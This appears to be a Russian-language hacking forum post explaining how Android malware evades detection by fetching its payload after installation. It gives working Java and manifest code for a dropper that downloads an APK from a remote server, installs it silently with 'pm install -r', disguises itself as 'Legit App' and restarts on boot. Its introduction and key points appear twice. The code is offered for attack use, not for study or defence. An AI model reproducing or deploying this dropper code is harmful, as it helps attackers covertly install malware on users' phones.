devqp
Специалист
Техника минимизации обнаружения вредоносных приложений через отложенную загрузку payload после установки. Основные элементы реализации:
1. Загрузка и установка дополнительного APK
Сервис скачивает файл с удаленного сервера и устанавливает его через системную команду:
2. Маскировка под легитимное приложение
Использование стандартных иконок и безобидных названий в манифесте:
3. Автозапуск при загрузке устройства
BroadcastReceiver активирует сервис после получения системного события:
Ключевые аспекты:
- Запрос разрешений WRITE_EXTERNAL_STORAGE и RECEIVE_BOOT_COMPLETED для фоновой работы
- Исполнение системной команды pm install для автоматической установки
- Скрытие вредоносной функциональности за активностью с LAUNCHER категорией
1. Загрузка и установка дополнительного APK
Сервис скачивает файл с удаленного сервера и устанавливает его через системную команду:
Код:
// MaliciousService.java
package com.example.maliciousapp;
import android.app.IntentService;
import android.content.Intent;
import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class MaliciousService extends IntentService {
public MaliciousService() {
super("MaliciousService");
}
@Override
protected void onHandleIntent(Intent intent) {
try {
URL url = new URL("https://example.com/payload.apk");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.connect();
BufferedInputStream input = new BufferedInputStream(connection.getInputStream());
FileOutputStream output = openFileOutput("payload.apk", MODE_PRIVATE);
byte[] data = new byte[1024];
int count;
while ((count = input.read(data)) != -1) {
output.write(data, 0, count);
}
input.close();
output.close();
connection.disconnect();
Runtime.getRuntime().exec("pm install -r " + getFilesDir().getPath() + "/payload.apk");
} catch (Exception e) {
e.printStackTrace();
}
}
}
2. Маскировка под легитимное приложение
Использование стандартных иконок и безобидных названий в манифесте:
Код:
<!-- AndroidManifest.xml -->
<manifest package="com.example.maliciousapp">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application
android:icon="@drawable/ic_launcher"
android:label="Legit App">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".MaliciousService" />
<receiver android:name=".BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>
3. Автозапуск при загрузке устройства
BroadcastReceiver активирует сервис после получения системного события:
Код:
// BootReceiver.java
package com.example.maliciousapp;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
Intent serviceIntent = new Intent(context, MaliciousService.class);
context.startService(serviceIntent);
}
}
}
Ключевые аспекты:
- Запрос разрешений WRITE_EXTERNAL_STORAGE и RECEIVE_BOOT_COMPLETED для фоновой работы
- Исполнение системной команды pm install для автоматической установки
- Скрытие вредоносной функциональности за активностью с LAUNCHER категорией